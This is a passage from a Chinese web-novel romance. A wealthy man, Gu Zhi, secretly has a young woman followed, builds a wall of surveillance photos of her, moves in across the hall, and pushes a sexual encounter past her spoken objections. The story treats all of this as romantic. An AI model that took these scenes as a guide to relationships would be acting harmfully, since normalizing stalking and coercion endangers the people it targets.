他无法忍耐了,说服自己只是去确定一下情况。于是,他第一次踏足了她所在的楼层。假装不经意地路过那间病房,不看不要紧,一看,俊脸就沉了下来。 那个坐在她床边的男人是谁? 他面沉如水,眼睛抛出寒光,扎在那个男人身上。 李小姐在敷衍他,他看不出来吗? 一点边界感都没有,不知道她是有夫之妇,已经结…… 思绪倏地卡滞了一下,他怕被李棠梨察觉,迅速离开了这里。 他翻出那几页调查出的详细资料,再次仔细核实,没错,是单身。 但他为什么会抵触这个事实,甚至下意识认定她已婚? 这太违背常理了。况且,和她结婚的那个人又应该是谁?想到其他男人成了她的合法丈夫,顾峙就呼吸不畅,甚为不快。 刘医生来复查时,被顾峙探究的眼神看得发毛,她问:“有什么问题吗?” 他心平气和地说:“刘医生,我的记忆似乎出现了紊乱,关于诊疗过程,你是否向我隐瞒了部分关键信息?” 刘医生捏住病历夹,扶了一把眼镜:“顾先生,这是术后常见的后遗症。不必过多担心,在一个月内症状会自然缓解。” 顾峙轻声呢喃:“是吗?” 他对于李棠梨不正常的痴迷,也是后遗症的一种吗? 视角转换到李棠梨,她确实忘的差不多了。 在醒来的第三周,确定各项指标恢复良好后,她办理了出院手续。 伯母帮她垫付了手术费和住院押金的大头,李棠梨拿着出事后厂子打给的赔偿金要还她,伯母却推拖着不肯收。 而且,她还另外提起一桩事,原来李棠梨醒后未结清的手术费用和住院费都已经付清了,但她完全不晓得是谁。 问李棠梨,她惊讶地眨了眨眼睛,也毫无头绪。她十分遗憾不能当面道谢,只好在心里感激那位做好事不留名的好心人,祝他身体健康。 刚出院,李棠梨把之前的工作给辞了,她心有余悸,打算休息一段时间,将底子调养好了再说。 抓紧这段闲暇时光温习课本,她意外发现自己对知识点的掌握简直称得上是突飞猛进。很多以前卡住的难点现在理解透彻,做题迎刃而解。 她赶紧做了几套卷子测试,经过批阅,笔尖颤抖着写下了分数。 几张卷子并排,分数老老实实摆在眼前。李棠梨呆滞地想,难道她这一摔,反而摔开窍了? 如果是这样,或许明年6月份她可以试试。 李棠梨高兴极了,心里一松,疲惫也涌漫上来。做了整整一天的卷子,她揉了揉眼睛,突然发现屋内光线有些发暗。 习惯性要去将台灯调亮一点,摸索到开关,才记起家里是老式台灯,根本无法调节亮度。 她恍惚地收回手,为什么下意识觉得可以调节呢? 想不通,若有所思地望着那盏台灯,难道又是刘医生所说的手术后遗症? * “棠梨,你确定要吗?我这都是三年前的笔记了,不知道和现在的考点有没有出入。” 曹长宇将圆桌上的几本笔记推给对面的女孩。 李棠梨拿到手里,翻看了两眼,放入包里。她摇摇头说:“没有的事,我还要麻烦你回家特意帮我翻出来。” “你这是要自学?” “是,打算明年高考碰碰运气。” “行,有问题你跟哥说,我能帮则帮。” 曹长宇高中时成绩优异,顺利考入省内顶尖的985大学,所以她想借阅一下他的笔记。 不过因为他加班严重,抽不出空隙专门去送,索性约李棠梨今天到这间咖啡厅,恰好挨着他工作的写字楼,下午偷溜出来会面。 他喝了一口冰美式,被苦得皱着脸:“我妈昨天还说起你了。你看着还挺精神,出院多久了?” “一个多月了,现在身体没什么事了。” 两个人寒暄几句,曹长宇怕被主管逮到,正打算回公司,碰巧有人推开了咖啡厅的门。 他回头一看,顿时站起了身。 “怎么了?” 李棠梨不解地探出头,还没看清,曹长宇就转过身,结结实实挡住了那个人影。 他一脸激动地压低声音说:“这可是荣星的总裁,顾总!我们学校的杰出校友。去年一次性捐赠了十个亿,被邀请回母校参观,我还作为校报记者采访了他呢!” 这么厉害? 她望过去,单是一个背影,就能看出男人身形挺拔、气质优渥。 李棠梨看得走了神,心口怦然一跳,还未作出更多反应,那人像是感受到了背后的视线,掉过了身。 眼皮一跳,慌乱地瞥开眼,逃避他的追踪。 她脸皮发烫,自己今天犯浑了,怎么盯着人家看个不停? 但那人不肯罢休,啪嗒啪嗒,迈着步子走过来。莫名的,即使不去看,她也知道那锃亮的皮鞋尖对准了她,朝着她轰然进发。 这双鞋却在快要抵达她时,突然停住了两步的距离。 李棠梨指头焦灼地卷着衣角,她听见男人低沉醇厚的嗓音,宛如入口饱满而浓郁的红酒,温柔地钻入耳膜。 “你是A大的……曹长宇同学?” 被点到名的曹长宇受宠若惊地与他握手:“对对,我就是去年采访您的校报记者,没想到您还记得我的名字。” 顾峙颔首:“当然,你令人印象深刻。” 紧接着,他扫了一眼李棠梨,略带歉意地说:“我打扰你们约会了?” “啊,不是不是,你误会了,”曹长宇解释说,“这是我一个朋友。” 顾峙自然地转过身,视线落在垂着头的女孩身上。 这下,李棠梨完全暴露在了他的视野里,避无可避。 他说:“你好,这位……” 李棠梨赶忙撑着桌子站起身,朝他说:“我姓李,李棠梨。” “哦,李小姐。” 男人原本戴着一双黑色的手套,他一边说着,一边慢条斯理将手套脱下,露出一只修长而白皙的手。 他把这只手递到她身前:“我叫顾峙。” 盯着这只大手,李棠梨嗓子发干,不知是何原因,没有立即回握。在他耐心地等待了两秒后,女孩终于抬起胳膊,握住了他的手。 她小声说:“顾先生,你好。” 甫一相触,她就被包裹在了他宽大而温热的手心里,许多片段如水下波纹般在她的脑海浮现,可只是一个眨眼的 功夫,他就绅士地放开了她,那些片段也随之消失。 然而就在他的指尖撤离时,她的掌心忽地一痒。 她如同触电,迅速抽回那只手,不可置信地望着这个斯文而英俊的男人,脸颊染上红意。 ……他刚刚在勾她的手心? 第55章 密密麻麻的照片墙 她碍于性格腼腆,只抬头匆匆瞥了他一眼,这会儿,手心的酥麻感蹿弄得她耳热,她不得不从蜗牛壳爬出来,惊疑不定地看着这位曹长宇口中的成功人士。 顾峙呢,坦然地任她瞧。 他显然是那种深知自己外貌出众的男人,并不惮于加以利用。 浓密的黑发往脑后梳去,清冽的五官没有任何遮挡。以至于她的视线逡巡着,渐渐就变了味道。 他刚刚现身咖啡馆时,虽然没有看到正脸,但周身弥漫的气质介于淡漠与傲慢之间,是常年身居高位的人才有的。 可这会儿,他掀起长长的眼睫,高耸的眉弓下,铅灰色的眼睛像诱饵,李棠梨被蛊惑得毫无招架之力,勾着与他对视了老久。 几秒后,顾峙忽地轻咳了一声,声音里带着不易察觉的笑意:“李小姐,我脸上有什么东西吗?” “啊?”李棠梨本能地后撤了半步,受惊地把眼睛甩到瓷砖上:“没什么,我……” 她羞窘得连颈项都红了,借口说:“我去趟卫生间。” 李棠梨走得匆忙,包还放座位上。曹长宇倒不好直接离开了。顾峙看出他的焦虑,贴心地问:“你有急事?” 曹长宇摸了摸后脑勺,不好意思地说:“其实我是从公司偷溜出来的。” 闻言,顾峙分外善解人意地说:“你先回去吧。李小姐这里我可以帮忙照看。” 赶紧走。 “真的吗?那太谢谢你了顾总。” 曹长宇往回赶,他越走越觉得怪异。顾峙这么大的总裁,想喝个咖啡还用得着亲自来买?而且,他还和棠梨主动打招呼,帮忙照看财物,原来他是这么好心肠的人吗? 看来是面冷心热,和去年他采访时的模样不太一样呢。 面冷心热的顾峙顺理成章地取代他,落座在李棠梨对面。 他一只手攥着手套,另一只握过她的手则端正地放在膝头。 他不太想用回味这个词,未免太下作,但实际如此。她的手很软、很细,比他要小一码,体温偏低。 作为一种基本的社交礼仪,顾峙曾经握过形形色色的人的手,男女老少,但没有一次他的心跳会这么剧烈,咚、咚,他一度担心李棠梨也会听到。 除此之外,在指尖相触时,眼前浮光掠影般闪现了一些记忆,这令他有些在意。 卫生间里,李棠梨捧起水流,洗了一把脸。 墙上镜映出她白里透红的腮颊。她受不了地垂下眼,用卫生纸擦拭掉水珠。 这个单纯的女孩还没意识到她是被别有用心的男人故意勾引了,只在心里一味责备自己今天种种鬼迷心窍的行为。 她其实也很纳闷,虽然顾先生的长相的确是难得一见的出众,但自己也不至于表现得这么……这么夸张吧? 走回座位,赫然发现原本该是曹长宇的位置上坐着姿态优雅的顾先生。他缓缓搅动着咖啡,那双害她差点当众出丑的灰色眼睛又望过来。 李棠梨手脚跟缺油卡涩的零件似的走过去,挤出一句话:“顾先生,宇哥是走了吗?” 顾峙动作一滞,勺子与杯壁发出清脆的碰撞声。 “他先回公司了。”他话题转变得很突然:“你们关系很亲近?” “嗯,我们之前是邻居,后来他们家搬走了。” 他沉沉地说:“哦,这样。” 李棠梨不敢去细看顾峙的表情,生怕又被吸引过去。她侧坐在椅子上,往包里收拾东西。 拉上拉链,确认没有遗漏后,起身将椅子推回去,跟男人告辞:“谢谢您帮我看着包。时间不早了,我该走了。” 察觉到女孩的抵触,顾峙没有亦步亦趋地追出去送。视线代他克制地紧随着她的身影。 是他太心急了、太明显了吗? 对面的座位空荡荡的,只剩一杯冰美式。她似乎很少喝咖啡,跟着别人盲选了一杯。可惜不太合她的口味,只喝了两口,就接受无能地不肯再碰了。 不喜欢苦味么? 杯口沾着浅粉的唇印,那是她留下的纹路。他联想到她小巧的、木讷的嘴唇,米粒一样排列的牙齿,怎样柔软地含咬住杯口,被深色的咖啡液浸湿,神思就抛到了千里之外。 他静静地盯着那个唇印瞧。 渴望战胜了羞耻心,西装革履的男人交叠起双腿,伸手将她的咖啡拿了过来。 坐在行驶回老宅的车上,顾峙止不住犯困。这是很不符合常理的,他刚喝过两杯咖啡。 可凶猛的困意席卷了全身,等车子停住了五分钟后,他才摆脱了梦境。走进别墅,看见客厅里的家人,神情还有些恍惚。 “姐。” 顾淑凤面色不虞地把手中的照片甩到茶几上:“回来的挺早,赶巧了,来,解释一下吧。” 扫了一眼,顾峙面色骤冷:“你进我房间了?” 顾淑凤气不打一处来:“你还有脸说?要不是纪嘉誉今天犯皮闯进去,我还不知道你雇人跟踪那个小姑娘!什么时候开始的?” 这个年纪的小孩闹起脾气比猪还难捉,她一路跟着儿子跑进弟弟的房间,刚把他摁住,一抬头,头皮猝然一麻。 满墙密密麻麻的照片,都是同一个女孩。 因为数量太多,边角压着边角,看得人心惊不已。按照时间线,照片从左到右细心地钉在墙上。 最左,一张梳着马尾的童年照,接着,是住院期间,女孩穿着病号服散步、去食堂吃饭、和亲戚朋友见面。 出院后,照片更是到了无孔不入的地步,她被框在几扇窄窄的窗户里,事无巨细地记录着她的日常生活。 她起床后歪着头刷牙,她在超市仔细地拣选土豆,她和朋友见面时的笑意,她遇到难题转笔的小动作。 最后一张,是夜深时分,李棠梨拉上了窗帘,灯光将她的身形朦胧地投射在窗帘上。照片右下脚标注的时间是昨天晚上八点。 望着这面照片墙,一个文静女孩鲜活地在她眼前展开,顾淑凤却感到毛骨悚然。 这面墙正对着顾峙的床,他每晚是抱着什么不可见人的心思入睡的? 顾峙的目光凉飕飕地甩过去,他看纪嘉誉越发不顺眼了。 在车上,他做了一个怪诞的梦,场景极为真实。梦里,已经成年的外甥每天和狐朋狗友鬼混,听说还和一个夜场服务生搅在一块。他正开车去酒店捉人,梦就醒了。 此时,十岁的纪嘉誉生了一张粉雕玉琢的脸,开始逐渐流露出日后的少爷秉性,他撇撇嘴,评价说:“舅舅,她不好看。” 顾峙摘下腕表:“你马上就要好看了。” 顾淑凤及时扯回正题,她手指叩了叩桌子:“你先跟我说清楚,为什么拍这些?你和人家什么关系?” 顾峙垂下头,将茶几上的照片一张张收起来。 他轻描淡写地说:“很快就会有关系了。” 顽固不化!见大姐捂着胸口顺气,顾峙缓和了语气:“我有分寸,你不用担心。” “分寸?你这样是犯法的,知不知道!你喜欢她,大可以光明正大去追。” “……我知道。”顾峙低声说,“我就是想见她。” 顾淑凤头疼地闭上眼,怀疑起这个一向清心寡欲的弟弟是不是在医院昏迷时被人掉包了。 一直没吭声的妹妹顾语琴倒是笑盈盈的,嫌事情不够大似的开口:“哥,她叫什么?我很喜欢她。” “为什么?” 顾语琴想了想:“说不上来,我和她好像很久之前就认识了。她和我应该很合得来。” “是么?” 顾峙暗自思忖,连妹妹也觉得很熟悉? * 那天刚进咖啡厅时,李棠梨就注意到门口立 着一则招工广告。 招的是兼职,一天6个小时,每周需要保证至少五天的出勤。李棠梨目前手头有微薄的积蓄,但想要支撑到明年高考还是天方夜谭,她要考虑出去工作了。 算了算月薪,她个人日常的开销很低,完全可以养活自己。 这份兼职不管是时间还是距离都很合适,但她毕竟没有经验,只在奶茶店打工过一段时间。忐忑地过去面试,当天没有回复。 李棠梨不抱希望,开始查看其他招聘信息,但四天后,对方联系她说通过了面试。大概是急缺人手,通知她尽快到岗。 工作环境幽静,除了客流高峰期,其余时间都不算太忙。李棠梨适应着这份工作,以及工作中无伤大雅的小插曲。 在上午十一点左右,正是店里最空闲的时候。门上悬挂的风铃一响,李棠梨就知道,那位顾客今天也来了。 男人走到她面前,彬彬有礼地说:“李小姐。” 是的,正是那位有过一面之缘的顾先生。 “顾先生,上午好。” 即使这段时间连续碰面,感受到他的视线,李棠梨还是有些微妙的不自在。 她已经很熟悉顾峙的偏好了。他通常点杯拿铁,坐在靠窗的位置。 上午经常只有她独自在店里,顾峙偶尔会与她闲谈两句,但多是谈论天气、心情等话题,且点到为止,不打扰她的工作。走的时候,也会和她颔首示意,进退有度。 之前那个勾她掌心的那个行为,或许真是她多心了。 轮到周六休息,李棠梨闲暇在家。她一觉睡到自然醒,刚从床上爬起来,人还犯迷糊,门外却传来了搬动家具的刺啦声。 对门的那间房子自从曹家搬走后,就没人租过了。听说房主想降价卖掉,可依然无人问津。 毕竟这里地段偏僻,外墙脱落斑驳,连电梯都没有配备,是避之不及的老小区。 这么大的动静,难道是对门来了新租户吗? 她顶着朦胧的睡眼打开门,果然,许多年未开过的对门大敞着,两个工人师傅在往里斜侧着抬沙发。 她刚要合上门,一个意想不到的声音却阻止了她:“李小姐?” 不会吧…… 穿着卡通花案睡裙的李棠梨僵硬地扭过头,只看顾峙站在台阶上,神情也颇为意外。 他的目光在她充满童趣的睡衣和微微毛躁的发丝上掠过,轻笑道:“好巧。” 第56章 真可爱,真好骗 “顾、顾先生,” 李棠梨的脑子唰一下就清醒了,她下意识开口:“早上好。” 木头似的打完招呼,她局促地关上了门,隔离了他的视线。 游魂般飘到浴室,看到镜子里的自己,李棠梨掐了一把脸。 好痛,居然是真的。 她欲哭无泪地撑着洗手台,顾峙这么有钱,怎么会租下她家对面的房子?而且,她压平翘起的发丝,望着镜子里不修边幅的模样,感到些许懊悔。 早知道收拾整齐再开门看看了…… 话虽如此,但她莫名觉得,顾峙并不会介意。 这一上午,李棠梨都心不在焉。不管是做家务还是学习,脑袋总是无意识歪到门的方向,像是在等它随时被敲响一样。 她在胡思乱想什么?李棠梨摇摇头,试图把这些奇怪的思绪一股脑倒出来。 在她终于习惯了那扇门的存在后,早有预料的敲门声姗姗来迟。 他敲门也有自己的风格,不急不忙地敲三下。等待她开门的寂静里,李棠梨好像看到他一只手抄在兜里,神情带点笃定,嘴唇扬起一个得逞的弧度。 李棠梨放下笔,有那么一瞬间,她赌气似的不想开门,但又搞不懂这股针对顾峙的小性子来源于何处。 她明知故问地问:“谁?” 一墙之隔,对方也配合着演戏:“是我,李小姐。” 李棠梨拉开门。 顾峙站在面前。 他手里拎着一个礼盒,温和地说:“我上午搬家闹出不小的动静,给楼上楼下都造成了困扰。特别是早晨吵醒了你,我很抱歉,这是我的赔礼。” “不用这么客气的。而且,我那个时候已经醒了。” 她摆摆手,话语和动作很客气,也很见外。 门扇谨慎地敞开,女孩站在门里。他扶着门框,凭借身高的优势,可以不动神色地将她狭小的客厅看个七七八八。 虽然他对李棠梨家里的陈设已经相当熟悉了,但顾峙还是不满于她的警惕心太低,随随便便就开门。但转念一想,他当然是不一样的。 顾峙微微俯身,看女孩不知所措地盯着他,他轻声说:“是我的心意,请收下吧。” “……好。谢谢您,顾先生。” 李棠梨撇过头,紧攥着门把的手在发汗。接过那个礼盒时,不免触碰到了他,冷不丁的,脑中又闪现了几个画面,可都是破碎的,她拼不起来。 上次握手的时候,好像也是这样。 她思索着走回桌前,却半路被手里包装精致的礼盒吸引了注意力。抽开绑定的绸缎蝴蝶结,分拆成上下两盒,放了小蛋糕、曲奇、马卡龙,都是各式各样的甜点。 李棠梨拿起一块曲奇,咬下,口感酥脆暖甜。就连赔礼,顾峙也送到恰到好处,直戳她的喜好。 又是巧合吗? 过了两天,她去小区对面的超市买菜。出门前,她看外面天色灰沉沉的,要下雨,就顺手拿了把伞。 家里只剩她一个人,为了图省事儿,她都是一周来超市采购一次。 妈妈离世后,李棠梨日子过得浑浑噩噩,难以从悲痛的情绪中抽离出来。她曾经很遗憾,因为在妈妈的弥留之际,她趴在床头,握着她逐渐冰凉的手,一味地哭泣与恳求,都没有来得及好好道个别。 自从在医院醒来,李棠梨通透了许多,仿佛和现实一夕之间达成了和解。想起妈妈,她依旧会伤心,但不再因此影响生活了,就像是不知道什么时候,她已经认真地跟妈妈再次道别过了。 她结完账后拎着菜走出超市大门,外面果然下起了雷阵雨。 将购物袋放在脚下,撑开伞,提起购物袋正要走。可不经意地偏过头,却见雨棚下的另一端站着一个身形挺拔修长的男人。 他低头看着手机,没有发现她。右手提着一个干瘪的袋子。看样子没有带伞,只好在这里在等雨停。 ……又是顾峙,他们总是在各种场合偶遇。 她攥了攥光滑的伞柄,不清楚这到底是有缘分,还是又一个精心布置的陷阱。 毕竟现在是对门的邻居了,昨天才刚收了人家的礼物,不帮显得太绝情了,鬼知道这雨要下到什么时候。 更何况,人家也不一定愿意和她挤在一把伞下面呢。 善良的李棠梨踌躇着开了口:“顾先生。” 男人闻言偏过头,在看到她的那一刻,浅灰的眼眸飞过一线暗光。 李棠梨听到他叹息一样的笑声:“李小姐,这么有缘?” “没有带伞吗?” “没看天气预报。” 瞥了一眼他手腕上的江诗丹顿,李棠梨把不太礼貌的疑问憋了回去。其实回头去超市买个雨伞,对他来说也不会造成什么太大经济损失吧? 等等,她怎么知道那是什么牌子的表? 李棠梨没空去细究原因,她举了举手里的伞:“你是要回家吗?不介意的话,我们可以挤一把。” 顾峙走过来:“多谢。” 因为伞下容纳着两个人,他们不得不挨得很近,即使李棠梨尽力想要保持距离,她的肩头依然时不时地摩挲着顾峙的手臂。 瞟见那个鼓囊囊的购物袋坠得她手心一道白痕,顾峙出言道:“我帮你提吧。” “不用的,”但他已经不由分手地伸过手,李棠梨只好退让地松开手:“麻烦你了。” 手心还残留着被勒麻的余韵,她握紧了那只手,没话找话地说:“顾先生,你去超市买什么了?” 顾峙说:“维修工具,燃气灶今早打不着火了,早上就没有吃饭。” “还是找天然气公司的人上门检修吧,这个很危险。” 顾峙垂下眼眸,望着她脸上露出的担心,不动声色地说:“我上午有事出门了,刚回来。现在又临近饭点,不太好找师傅,打算先自己试一试。” “这样……” 早上饿着肚子出门,是有点可怜。自己的菜还 被人家好心提着,他中午这顿饭却还没着落。 李棠梨思忖了片刻,犹豫要不要邀请他今天中午来家里做客,但是又忸怩于她和顾峙没认识多久,孤男寡女的同处一室,总觉得……会发生什么出乎意料的事。 她一时分了神,小区的过道狭窄,一辆车转弯时毫不减速,几乎是擦着她的衣角驶过。 顾峙眼疾手快地握住李棠梨的肩膀,只听到他说了一声小心,她没等反应过来,就揽到了他怀里。 轮胎溅起的水柱、沿着倾斜的伞边滚下的水珠,把李棠梨的衣物浇得身上星星点点,透出一阵冷。 偏偏顾峙是热的,她手掌下富有弹性的饱满胸膛,那条箍着她后背的手臂,喷在她脸侧的气息,把她结结实实烫了一下。 一股麻涨的感觉直追尾椎,她挣了挣,顾峙抱得好紧。 李棠梨语无伦次地说:“谢谢、顾先生,我……” 手底下的肩胛骨打颤,像只被他攥在手心的鸟,又轻又软,挣脱不开,羽毛抚着他的指缝。 顾峙闭了闭眼睛,他忍耐地松开手:“往里走一点。” “……嗯。” 头顶是扶正的雨伞,劈里啪啦的雨滴声,两个人谁也没有再开口,共享着这段沉默。 刚刚那辆没素质的车给了一个正当的理由,他们彻底贴在一起了。 顾峙的袖子似乎也是被雨水打湿了。轻薄的白衬衣下透出肉色,他那条有力的、健壮的胳膊黏着女孩与他粗细悬殊的手臂,对比明显。 热量源源不断地输送过来,李棠梨的脸热得潮红。到了空旷的场地,他们也只管蒙头往前走,没有分开。 直到他们回到单元楼,站在同一个楼层,背对背,马上就要分别时,李棠梨突然说话了。 她轻声说:“顾先生,如果你中午不方便做饭的话,可以来我家凑合一顿。” 随即咔哒一下,锁开了。 顾峙连钥匙都没有拿出来。他缓缓转过身,看到那扇从来只是敞开一条缝的门,如今羞赧地打开了半扇。 他看到女孩在门内撑着墙弯腰换鞋。柔软的腰肢一落一起,又站起身,通红的耳尖在男人的视野中一晃,都没有等他的回话,很快就跑到屋里去了。 那扇门始终为他敞着。 而顾峙也没有辜负这番“好意”,他毫无顾忌地踏进来,沾着雨水的皮鞋踩湿了李棠梨放在玄关处的那张毛茸茸的小熊地毯上,却不动了。 他扫过虽然拮据却布置得井井有条的房间,盯着窗台的绿植、墙上贴的画作与脚下的地毯。 小女孩真是可爱啊,也真好骗。 顾峙启唇,假惺惺地问:“真的可以吗?” 放我这种心怀不轨的男人进家门,真的可以吗?所以,你清楚我可能要对你做什么,但依然给我开了门,我可以理解为是默许吗? 一息之后,厨房里传来女孩微不可察的声音。 “嗯。” 几乎是在她出声的同一时间,顾峙反手关上了门,强横地宣告了他的成功入侵。 门关上的声音在李棠梨耳朵里被放大了数倍。厨房里的她浑身一激灵,心头漫上惊惶,这时候才明白自己做了什么。 完了,她鬼迷心窍,居然就这么把一个刚认识没多久的男人这么邀请进了家里,这和引狼入室有什么区别! 是呀,她衣服都湿了一小半,甚至没想起来要去换,就极着急地走到厨房,从购物袋随便掏出来一个西红柿,漫无目的地洗,像是等待什么似的。 这会儿,神智终于归位了。 她想反悔了,可是已经容不得她了。 一只手忽地从旁伸出来,李棠梨屏住了呼吸。她意识到顾峙在她身后,于是彻底不敢动了,僵在原地,任由男人骨节分明的手握住了那个西红柿,也握住了她的手。 他覆在她耳边,低声说:“手怎么这么凉?” 第57章 你没有记起来吗? “放开……” 李棠梨的脑袋恨不得低到胸膛里,她对邀请男人进门这件事的隐含意义缺乏起码的认识,以至于此时被坏男人困在洗手池,后面抵着他硬邦邦的身体,连大气都不敢喘一声。 在惊慌之外,双颊迅速升温,她听见了自己不受控的心跳声。 顾峙笑了笑,这是称心如意的、带点怜悯的笑。 他轻轻说:“别怕,我只是想帮你洗。” 话是善解人意的,却没有松开她。 而且,洗个菜有什么好帮的?他全然没有心思去好好找借口,转圈思索着等会儿怎么下口,大概是知道自己已经登堂入室,胜利果实唾手可得。 他的谎再破绽百出,女孩也只能相信。 这话连小孩都骗不过,况且是她呢? 李棠梨哑巴吃黄连,在她鬼使神差地邀请他吃午饭的一瞬间,部分理智就下线了。 为什么下意识地纵容他?纵容得他得寸进尺,一步一步,成了现在这样。 她咬着唇,出神地望着那双包裹住她的大手,插入她的指缝,扣住她的关节。她没有动了,都是被顾峙带着。他也敷衍极了,有一下没一下地洗。 小幅度偏开脸,躲开顾峙凑过来的头,这是她微弱的反抗。 可时间越久,漫过来一股厚重的木制香水味,从他身上攀爬进她的鼻腔。李棠梨只是闻了闻,就喜欢得双腿发软,她预感到大事不妙。 两个人的衣物都沁着不清爽的湿意,又相互揉擦在一起,肌肤相贴处燃起火苗,闷热极了。 她眼皮发烫,努力地不去在意身后气息渐渐粗重的男人,捋出一个合理的原因,是了,走之前她怕下雨进水,把窗户都关上了,怪不得这么闷。 得开窗才行。 她无意间起了念头,手下就没注意,西红柿一滑,咚的一声,滚到池底去了。 两个人俱是一顿。 顾峙啪地关上水,先发制人:“西红柿都拿不稳。你怎么回事?” 他语气有些冷。嘴上在教训她,手却背道而驰地爬上了女孩的腰腹,按着掌下柔软的小腹。 李棠梨扣住他不安分的手,这回腿是真的软了。 她的尾音都在发抖:“我、我想要开窗。” “突然想开?” 女孩声音很低:“太闷了……” 顾峙也随着低下声,完全是在和她调情:“为什么会闷?” 李棠梨也意识到了。她不吱声,只是垂下头,撞见自己的腰被两只手明晃晃卡住了,眼睛霎时被烫了一下。 她下颌被轻轻扭过去,顾峙的气息先是停留在颈项两秒。在怦怦的沉重心跳声中,男人不容抗拒地覆住了她的双唇。 他缓慢含住她的唇瓣,吸吮了一下,发出“啵”的一声,亲得很放肆,又缓缓退开。 : 李棠梨眼睛湿湿的,她好像没想到这么轻易就丢了初吻,迷迷糊糊就被强吻了。 大概因为这是在她家,她转过身,虚张声势地推了推他,质问:“你做什么?” 顾峙定定地看着她,心想,又在勾引他亲了。眼睛那么红,谁知道是被害怕的还是爽哭的。 他淡淡地说:“在亲你。你不知道吗?” 她怎么都没想顾峙会把那张温文尔雅的面具直接脱下来一把掷到地上,也没想到他这么不要脸。 一时间也懵了,只知道委屈巴巴地讨要一个公道:“你怎么能这样?” 显然,她问错对象了。 顾峙呢,当然要认真回应她。于是,他压住李棠梨,又嘬了一口,这回顶开了她的牙关,里里外外搜刮了个遍。 滋滋的水声里混着女孩的呜咽声,两个人的气息彻底乱了。李棠梨腰上一紧,被抱到了料理台上,外面雨势愈下愈大,屋里不停升温,她感到更为闷热了。 女孩年纪小,亲得眼睛都散了神。顾峙直起身,她还朦朦胧胧地觉得凉快了些。 但顾峙很快又凑近,他微微发汗,李棠梨推不开他。一开始,她还有多余的力气,骂他过分、不要脸,顾峙只管闷闷地笑,她越骂动作越凶, 后来就成了带着泣音的求饶。 裙摆卷了边,蹭到了上方,李棠梨亡羊补牢地拦住他,嗓音打颤说:“别……” 顾峙觉得她哪儿哪儿都可爱,他摸了摸她潮红的脸,诱哄道:“我就亲亲,好不好?” 他舔舐了一下嘴唇。 李棠梨捂住了自己的嘴。台面上的盐罐、酱油瓶都被推倒了,岌岌可危地要滚落在地面,但李棠梨没空去管它们了。 很快,连她的神思也飞走了。屋内春情摇曳,两个人连屋外什么时候雨停了都未曾察觉。 放晴后,小径旁的花朵上承着几滴晶莹的露珠,压弯了细弱的花梗。 李棠梨燥热的难受,哭得满脸都是泪水,除了没做到最后一步,什么都干了。 不知道第几次的时候,她体力耗尽,眼尾沾着泪珠,勾着顾峙的脖子睡过去了。 她这一觉睡得安稳极了。一个丰富而流畅的梦境在脑海中播放,像是一部身临其境的电影,她看得清清楚楚。 可醒来的时候,记忆又如潮水般褪去,只残留着梦中起伏的感受。 李棠梨睁开疲累的眼睛,男人恬静的睡颜近在咫尺。他阖着眼睛,面容十分温和,和中午时那副样子截然不同,欺诈性极强。 即使顾峙做出这种事,她也升不起什么负面情绪。相反,醒来后看到这张脸,她有一种说不出的安心,宛如已与他相枕而眠过无数次了。 李棠梨伸出手,指尖好奇地碰触到他长而密的眼睫上。结果,那睫毛忽地一颤,她被当场抓包。 不过,顾峙虽然醒了,瞳孔还是散的。神色透着一阵青白,非常不对劲,似乎是做了可怕的噩梦。 李棠梨的尴尬也被担心所替代,她问:“你怎么了?不舒服吗?” 男人的目光紧随她而动,眼睛流露出绝望和偏执之色。李棠梨越看越慌,她顾不上别的,坐起身抚上顾峙的脸:“是哪里不舒服?” 话音未落,她就被顾峙猛地扑过来搂住了。 她被禁锢在这个人的怀里,紧得她呼吸有些困难。她下意识要挣脱,却因侧颈处温热的潮湿而停住了。 他好像是哭了? 明明难过的是顾峙,李棠梨的心口却泛滥着一片酸涩,冲得她眼眶跟着泛红。 她柔柔地拍着他的背,回抱住他。等他情绪平稳了稍许,与李棠梨面对面坐着,她小心翼翼地问:“你刚刚是怎么了?” 望着眼前完好无缺、平平安安的李棠梨,顾峙直截了当地问:“你还没有记起来?” “记起什么?” 李棠梨发懵。 记起我们曾经在另一个世界相知相恋、求婚领证,经过了许多事才修成正果,却在马上就要迎接幸福时戛然而止。 见她神色茫然,顾峙不言语了,只是用那双灰色的眼睛静静地望着她。 在他的视线里,李棠梨颇感无地自容。她绞尽脑汁,实在没想起来哪里得罪了他。 她讪讪挠了挠脸颊,暗自纳闷,她心虚什么,怎么感觉自己成了抛弃他的负心女一样?挨了一中午的欺负的人明明是她吧…… 顾峙吐出一口郁气,压下眼底翻涌的不甘。 他告诫自己不要操之过急,总归人好端端地呆在眼皮子底下,失而复得,已是上天格外的眷顾了。 他说:“算了,没什么。” 虽然不知道具体情况,李棠梨本能地松了一口气。 这时,她才发觉并非身处家中。窗帘严丝合缝地拉着,黑黢黢的不透光,看不出当下是几点了。 “这里是…?” 顾峙简短地说:“隔壁。你晕过去之后,我就把你抱回来了。” “……哦,我要回去了。” 李棠梨逃避似的走到床下,没脸去面对两人大中午就干柴烈火地搞在一起的事实。 裙子被顾峙扯得松松垮垮,领子荡在胸前,露出一片皮肉。虽然被体温熨干了,却在意乱情迷时蹭的一层层的褶子,尤其是胸口和后背,狼狈极了。 只是两腿空荡荡的,往里跑风。 她捂着垮塌的领子,左右四顾,顾峙像有读心术,冷不丁地说:“找这个?” 李棠梨回头一瞧,血气上涌,耳尖红得滴血。那条缝着俏皮蕾丝花边的窄小布料就在他手上。 他正大光明地盯着人家女孩的私密衣物瞧,看就算了,还发表意味不明的评价:“果然还是喜欢这种风格。都湿了,还要穿?” “你、顾峙,还给我!” 她急匆匆地想从他手里抢过来,顾峙却缩了回去,见她窘得要生闷气了,他把人拉过来:“急什么,我给你穿。” 李棠梨被拽到他身前,人的确有点不高兴,可听到他说的话,又目瞪口呆地拒绝:“我自己来,你把、你把那个给我,我自己来就行!” 她垂在两侧的手紧攥着蔽体的裙子,这是要捍卫自己的隐私权。顾峙瞥她,一下就洞察了她的小心思。 他嗤笑,挡什么? 他不知道看过吃过多少次了,后来连这种贴身衣物都是他经手买的。整整两个抽屉,他比每天只用挑着穿的李棠梨还清楚。 顾峙平静地说:“要么我帮你穿,要么你就这么回去。选一个。” ……光着回去就光着回去,反正就是几步路的功夫,他还威胁她? 这个时候,顾峙弯下腰,他放软了声音:“抬脚。” 李棠梨在心里硬气地痛批了顾峙一顿,但现实里,她只是耷拉着一张脸,乖乖地听从他的指示。 她安慰自己,算了算了,他都给台阶下了,何况又是他主动伺候…… 男人的手拎着那个紧窄的布料,一路给她提上去。 